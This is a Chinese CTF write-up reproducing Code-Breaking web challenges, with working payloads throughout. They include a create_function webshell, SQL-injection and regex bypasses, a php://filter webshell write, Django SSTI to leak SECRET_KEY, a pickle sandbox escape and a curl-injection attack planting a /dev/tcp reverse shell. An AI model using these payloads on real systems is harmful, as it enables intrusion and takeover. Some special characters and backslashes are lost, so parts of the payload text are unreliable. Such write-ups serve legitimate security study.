code-breaking题目复现

Code-breaking 复现

在p牛知识星球看见往年code-breaking分享了许多知识,便集中做一下学习学习

2018

function

考点:1. create_function注入

​ 2. php默认命名空间为

题目源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

分析代码,利用点确定在else语句下的$action('', $arg);

利用方法为使用create_function()函数进行实现,具体使用方式为:

create_function('$a,$b...','expression')

第一个参数为函数所接受的具体参数列表,可以为多个,第二个参数为函数内部实现方法

例如create_function('$a,$b','return 111')

其功能为

function a($a, $b){
    return 111;
}

想要执行任意代码,就需要闭合create_function

例如传入return 111;}phpinfo();//

注入成为

function a($a, $b){
    return 111;}phpinfo();//
}

从而实现代码注入

本地测试:

image-20240410130559529

http://localhost/?a=return 111;}phpinfo();//

达到任意代码执行

而下一步即需要绕过正则:if(preg_match('/^[a-z0-9_]*$/isD', $action))

该正则所匹配的字符为:

  1. 以任意字母,数字或下划线开头(^进行匹配字符串开头)
  2. *重复匹配
  3. $匹配字符串结尾
  4. i不区分大小写
  5. s.匹配换行符
  6. D限制后续的量词(如*+)仅在字符串的开头生效

因此绕过方法及为需要再函数名create_function开头或者结尾找一个字符绕过正则,并且不影响函数执行

知识点:

在PHP的命名空间默认为,所有的函数和类都在这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

本地测试:

image-20240410131805423

phpinfo()同样可以执行

综合以上两点

此题payload为:?action=create_function&arg=return 111;}phpinfo();//

写webshell:?action=create_function&arg=return 111;}eval($_POST[cmd]);//

image-20240410132437307

发现此题有disable_funtion

image-20240410132531276

禁用函数如下:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

直接连蚁剑解决

image-20240410132956048

lumenserial

先自动审计跑一遍

image-20240410140916962

/app/Http/Controllers/EditorController.php下找到file_get_contents()函数

private function download($url)
    {
        $maxSize = $this->config['catcherMaxSize'];
        $limitExtension = array_map(function ($ext) {
            return ltrim($ext, '.');
        }, $this->config['catcherAllowFiles']);
        $allowTypes = array_map(function ($ext) {
            return "image/{$ext}";
        }, $limitExtension);

        $content = file_get_contents($url);
        $img = getimagesizefromstring($content);

        if ($img && in_array($img['mime'], $allowTypes)) {
            $guesser = ExtensionGuesser::getInstance();
            $ext = $guesser->guess($img['mime']);
            $size = strlen($content);

            $html_path = app()->basePath('html');
            $upload_path = $this->fullPath($this->config['catcherPathFormat']);

            if (in_array($ext, $limitExtension) && $size <= $maxSize) {
                if (!is_dir("{$html_path}{$upload_path}")) {
                    mkdir("{$html_path}{$upload_path}", 0777, true);
                }

                $filename = bin2hex(random_bytes(10)) . '.' . $ext;
                file_put_contents("{$html_path}{$upload_path}/{$filename}", $content);

                return [
                    "url" => "{$upload_path}/{$filename}",
                    "source" => $url,
                    "state" => "SUCCESS"
                ];
            } else {
                throw new FileException("file extension .{$ext} or size {$size} error");
            }

        } else {
            throw new FileException('Only support catching image file');
        }
    }
}

file_get_contents()函数直接接受一个$url参数,url变量也直接从download函数获取

寻找pop链

太菜了,只能看网上大佬文章复现

参考文章:

https://www.cnblogs.com/iamstudy/articles/code_breaking_lumenserial_writeup.html

第一步:寻找destruct或wakeup魔术方法,触发反序列化

nodechr

关键代码:

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|--)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

首先函数safeKeyword()设置waf,禁用select union -- ;这四个

绕过方法为,利用js中部分字符在toLowerCase和toUpperCase处理时,会发生一些变化

学习文章:Fuzz中的javascript大小写特性

总结来说:

"?"、"?"这两个字符在变大写的时候会变成I和S
"?"这个字符在变小写的时候会变成k

因此利用该特性直接注入就ok

payload:

username=ddog
password=' un?on ?elect 1,flag,3 where '1'='1

pcrewaf

考点:利用PCRE回溯次数限制绕过某些安全限制

<?php
function is_php($data){
    return preg_match('/<?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

通过POST方法进行文件上传

$data为从上传文件中读取的文件内容

后用is_php函数,经过正则匹配`对文件内容进行检测,是否存在php代码

若没有,则继续处理文件内容,随机生成文件名,并添加.php后缀,后续将文件移动到指定目录

此题无法控制文件名,所能控制的只有文件内容

但文件内容会被正则所匹配,正则要求如下

<`后面不能有问号,`<?`后面不能有`(;?>反引号

因此关键就是绕过正则

绕过技巧为利用正则引擎回溯

对于特别长的数据来说,服务器不会将数据全部进行处理,避免服务器资源浪费,产生pcre.backtrack_limit,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。

所以利用python的request发包就好

<?php phpinfo();//a*1000000

phplimit

无参RCE

<?php
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

函数嵌套:

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

phpmagic

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
    <div class="row">
        <div class="col">
            <pre class="mt-3"><?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; ?>

代码主要功能为进行DNS查询

关键代码:

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
    file_put_contents($log_name, $output);
}

存在file_put_contents()函数,其中文件名由$_SERVER['SERVER_NAME']$log_name两部分组成的。

$log_name可以由$_POST['log']来控制,$_SERVER['SERVER_NAME']在Apache2中没有进行相应设置的话,可以通过修改Host头进行控制

文件后缀利用xxx.php/.进行绕过,该方法可以直接进行调用到xxx.php文件

文件写入参考绕过死亡exit原理

最终payload为

Host: php

domain=PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq&log=://filter/write=convert.base64-decode/resource=0.php/.

最终构成

file_put_contents('PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq','php://filter/write=convert.base64-decode/resource=0.php/.')

(本地没搭上docker,借用大佬wp的图片)

image-20240410165731379

picklecode

考点:Django下的SSTI + pickle反序列化

根据源码此为Django模版引擎

@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))

根据源码测试,查看是否存在SSTI

由于user在这上下文中只存在一个,即由request所传入的,Django中request.user是当前用户对象,这个对象包含一个属性password,也就是该用户的密码。

{{ request.user.password }}  

等同于

{{ user.password }}  

二者得到结果相同

image-20240410173550882

得到

image-20240410173611872

Djongo框架自带admin应用,即Django自带的后台,其中存在models.py。通过这个model可以获取到setting对象,其中包含数据库账号密码,web加密秘钥等敏感信息(Django模版下存在限制,无法读取以下划线开头的属性)

因此思路为通过层层递进找到Django的默认应用admin,再通过admin的model获取settings对象,从而获取秘钥

首先获得当前用户所属的用户组

{{ user.groups }}

得到

image-20240410190635568

获取当前用户组的源字段

{{ user.groups.source_field }}

得到

image-20240410191616504

获取当前用户组下的app_config相关配置信息

{{ user.groups.source_field.opts.app_config }}

image-20240410191819967

层层递进,拿到key(晕)

{{ request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY }}

session反序列化+沙盒绕过

学习文章:

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

相关代码

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

不同于一般的pickle反序列化,存在黑名单,禁用函数如下

'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit

并没有禁用getattr,因此可以使用builtins.getattr(builtins,'eval')从而获得eval函数,使得可以绕过沙盒

举一个普通pickle反序列化的exp做一个例子

import pickle
import base64

class genpoc(object):
    def __reduce__(self):
        cmd = 'cat /flag'  
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))  
poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))

这里这个exp中,使用了__reduce__生成序列化字符串,但只能执行一个函数

而上诉所说的思路中,需要首先执行getattr来获得eval函数,再利用eval函数执行命令,共记调用了两次函数,因此无法再使用__reduce__,需要手写pickle代码

anpickle这个工具内置了一些exp,主要利用__builtin__globals, getattr, dict, apply四个函数,但是是python2编写,python3废除apply,类似于反射,可以调用任意函数,这道题也没法直接套工具)

稍微修改一些上述exp,将序列化数据写入一个文件pickle

import pickle
import os

class poc(object):
    def __reduce__(self):
        cmd = 'cat /flag'
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))

poc = poc()
f = open('pickle','wb')
pickle.dump(poc ,f, protocol = 0)
f.close()

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)

使用指令python -m pickletools pickle分析文件,得到具体的堆操作指令(opcode)

image-20240411112427932

具体opcode对应功能如下

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " &lt; 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build &amp; push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build &amp; push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'x80'  # identify pickle protocol
NEWOBJ         = b'x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'x82'  # push object from extension registry; 1-byte index
EXT2           = b'x83'  # ditto, but 2-byte index
EXT4           = b'x84'  # ditto, but 4-byte index
TUPLE1         = b'x85'  # build 1-tuple from stack top
TUPLE2         = b'x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'x88'  # push True
NEWFALSE       = b'x89'  # push False
LONG1          = b'x8a'  # push long from &lt; 256 bytes
LONG4          = b'x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " &lt; 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'x8c'  # push short string; UTF-8 length &lt; 256 bytes
BINUNICODE8      = b'x8d'  # push very long string
BINBYTES8        = b'x8e'  # push very long bytes string
EMPTY_SET        = b'x8f'  # push empty set on the stack
ADDITEMS         = b'x90'  # modify set by adding topmost stack items
FROZENSET        = b'x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'x94'  # store top of the stack in memo
FRAME            = b'x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'x96'  # push bytearray
NEXT_BUFFER      = b'x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'x98'  # make top of stack readonly

进行对照可以得到得到数据的具体含义

0: c    GLOBAL     '__builtin__ eval'       ######向栈顶压入`__builtion__.eval`该可执行对象
   18: p    PUT        0                    ######将上述对象存储到 memo 的第0个位置
   21: (    MARK                            ######压入一个元组开始的标志
   22: V        UNICODE    "__import__('os').popen('cat /flag').read()"######将后续命令作为字符串进行压入
   66: p        PUT        1                ######将上述字符串压入memo的第一个位置
   69: t        TUPLE      (MARK at 21)     ######将由刚压入栈中的字符串弹出,再将由这个字符串组成的元组压入栈中
   70: p    PUT        2                    ######将这个元组存储到 memo 的第 2 个位置
   73: R    REDUCE                          ######从栈上弹出两个元素,分别是可执行对象和元组,并执行,这里即为 'eval('whoami')' ,将结果压入栈中
   74: p    PUT        3                    ######将栈顶的元素(也就是刚才执行的结果)存储到 memo 的第 3 个位置
   77: .    STOP                            ######程序结束

同理,写出此题对应的pickle代码

首先获得builtins对象

cbuiltins                                      # 将 builtins 设为可执行对象
  getattr                                      # 获取 getattr 方法
  (cbuiltins                                   # 压入元组开始标志,并将 builtins 设为可执行对象
  dict                                         # 获取 dict 对象
  S'get'                                       # 压入字符串 'get'
  tR(cbuiltins                                 # 弹出 builtins.dict,get 并组成新的元组压入栈中。然后执行 builtins.getattr(builtins.dict,get) 得到 get 方法压入栈中。再压入元组标志,将 builtins 设为可执行对象
  globals                                      # 获取 builtins.globals
  (tRS'builtins'                               # 压入元组标志,执行 builtins.globals,然后压入字符串 'builtins'
  tRp1                                         # 执行 get(builtins),获取到 builtins 对象存储到 memo[1] 处

python代码

import pickle
import builtins

data = b'''cbuiltins
  getattr
  (cbuiltins
  dict
  S'get'
  tR(cbuiltins
  globals
  (tRS'builtins'
  tRp1
  .'''

data = pickle.loads(data)

print(data)

image-20240411120311274

获取eval达到任意命令执行

总体pickle代码为

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
.

结合题目代码,Python代码为

import pickle
import builtins
import io

class RestrictedUnpickler(pickle.Unpickler):
  blacklist = {'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

  def find_class(self, module, name):
      # Only allow safe classes from builtins.
      if module == "builtins" and name not in self.blacklist:
          return getattr(builtins, name)
      # Forbid everything else.
      raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
  """Helper function analogous to pickle.loads()."""
  return RestrictedUnpickler(io.BytesIO(s)).load()

data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
.'''

data = restricted_loads(data)

print(data)

image-20240411120555050

成功执行命令

结合密钥,伪造jwt,传入,触发pickle反序列化

2020

bashinj

题目要求:

在不破坏目标原始功能的情况下获取Webshell:

题目代码

#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name

此代码是bash写的一个脚本,通过GET请求传参name,若name为空,那么设置name='Bob',后使用curl -v指令返回详细的响应信息,包括请求头

此处无法直接类似于;whoami进行语句拼接造成

代码命令注入的前提需要有“动态代码执行的空间

在PHP中,常见的提供动态代码执行空间的即为eval函数

在bash中原理中同样,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。

因此此处无法再注入去执行一个函数,但此处用户输入并没有通过双引号包裹,因此可以注入curl参数

测试:?name=Bob --help

image-20240411174728840

验证成功这里成功注入了参数--help

利用在线网站:GTFObins,可以查询得到一些Linux指令的一些tricks

这里查询curl得知curl存在参数可以写文件-o和读文件

image-20240411175841225

测试文件文件写入

index.cgi?name=Bob%20-o test.cgi

访问文件发现文件存在,证明文件写入,但是发生500报错

image-20240411180409039

造成原因:

curl请求包含httpbin.org的返回结果,因为不是合法shell脚本,所以执行可能出错
新写入的shell.cgi文件没有执行权限,导致无法执行

控制curl执行结果

安装mitmproxy

pip3 install mitmproxy
mitmproxy --version 验证安装

image-20240411185813597

编写mitmproxy.py

from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse

data = br'''
This is Parar.
'''

class Hook:
    def request(self, flow: HTTPFlow):
        flow.response = HTTPResponse.make(200, data, {'Content-Type': 'text/plain'})
        ctx.log.info("Process a request %r" % flow.request.url)

addons = [Hook()]

运行

mitmdump -s mitmproxy.py --set block_global=false -p 10001

进行本地测试,本地验证成功

题目端验证成功

image-20240411194553734

解决执行权限

目前已知index.cgi该文件可以正常执行,因此可以直接通过覆写index.cgi,向index.cgi文件中传入恶意代码并执行

但题目要求,不得破坏目标正常操作,因此需要首先得到原本index.cgi文件的代码

还是通过上述网站,查到curl可以直接通过file://伪协议进行读取

然后向原本代码中加入webshell

#!/bin/bash
source ./_dep/web.cgi
echo_headers
if [[ "${_GET['cmd']}" != "" ]]; then
eval "${_GET['cmd']}"
exit 0
fi
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
#!/bin/bash
source ./_dep/web.cgi
echo_headers
if [[ "${_GET['cmd']}" != "" ]]; then
    eval "${_GET['cmd']}"
    exit 0
fi
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name

修改mitmproxy的代码为,在触发index.cgi时直接反弹shell

from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse

data = br'''
#!/bin/bash
source ./_dep/web.cgi
echo_headers
sh -i >& /dev/tcp/175.178.29.101/6666 0>&1
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name

'''

class Hook:
    def request(self, flow: HTTPFlow):
        flow.response = HTTPResponse.make(200, data, {'Content-Type': 'text/plain'})
        ctx.log.info("Process a request %r" % flow.request.url)

addons = [Hook()]

启动后客户端执行

?name=bob%20-o%20index.cgi%20-x%20http://175.278.29.101:10001

image-20240412170145519

返回正常

本地监听,访问index.cgi即可拿到shell

image-20240412172125625

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇